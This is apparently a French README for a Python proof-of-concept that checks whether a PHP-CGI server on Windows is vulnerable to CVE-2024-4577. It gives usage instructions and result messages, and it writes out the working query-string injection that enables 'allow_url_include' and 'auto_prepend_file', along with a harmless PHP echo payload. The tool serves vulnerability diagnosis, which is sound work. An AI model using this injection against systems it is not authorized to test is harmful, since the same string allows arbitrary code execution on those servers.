
Script Python PoC pour tester la vulnérabilité CVE-2024-4577 PHP CGI via query-string injection et POST payload, déterminant la susceptibilité du serveur.
Ce script Python est un simple outil PoC (Proof of Concept) pour diagnostiquer la dernière vulnérabilité PHP CVE-2024-4577.
⚠️ Cet outil est fourni à des fins de diagnostic de sécurité et ne doit être utilisé que sur vos propres systèmes ou sur des cibles pour lesquelles vous avez obtenu une autorisation préalable.
Cette vulnérabilité exploite le fait que PHP, lorsqu'il fonctionne en mode CGI sous Windows, permet d'injecter des configurations PHP arbitraires et d'exécuter du code via un contournement de caractères multi-octets.
Ce script envoie une requête POST à l'URL cible avec une charge utile de contournement basée sur la chaîne de requête et du code PHP pour déterminer si le système est vulnérable.
python3 --version
pip install requests
python3 cve_2024_4577_test.py
Exemple de saisie :
http://192.168.0.10/index.php
Ou vous pouvez simplement saisir le chemin racine, il sera traité automatiquement
http://192.168.0.10
✅ [✅] Vulnérable : le serveur a exécuté le code PHP.
→ Ce serveur est vulnérable.
✔️ [✔️] Non vulnérable ou bloqué
→ Réponse reçue mais la vulnérabilité ne s'est pas déclenchée.
❌ [❌] Échec de la requête : ...
→ Échec du test en raison d'une erreur de connexion, d'un délai d'attente, etc.
Injection de la chaîne de contournement de la vulnérabilité :
?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input
Injection de code PHP dans le corps POST :
<?php echo 'CVE-2024-4577-TEST'; ?>
Si le serveur exécute ce code, la réponse contiendra cette chaîne, permettant de déterminer la vulnérabilité.
Ce script est fourni uniquement à des fins éducatives et de recherche en sécurité. Scanner ou tester des systèmes non autorisés est illégal. L'utilisateur assume l'entière responsabilité de son utilisation.
| Nom du fichier | Description |
|---|---|
cve_2024_4577_test.py | Script Python de test de vulnérabilité |
README.md | Document d'utilisation et de description (ce fichier) |
LICENSE.txt |
Veuillez signaler les bugs ou suggestions par email ou via une pull request.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails. Copyright (c) 2025 KimJuhyeong95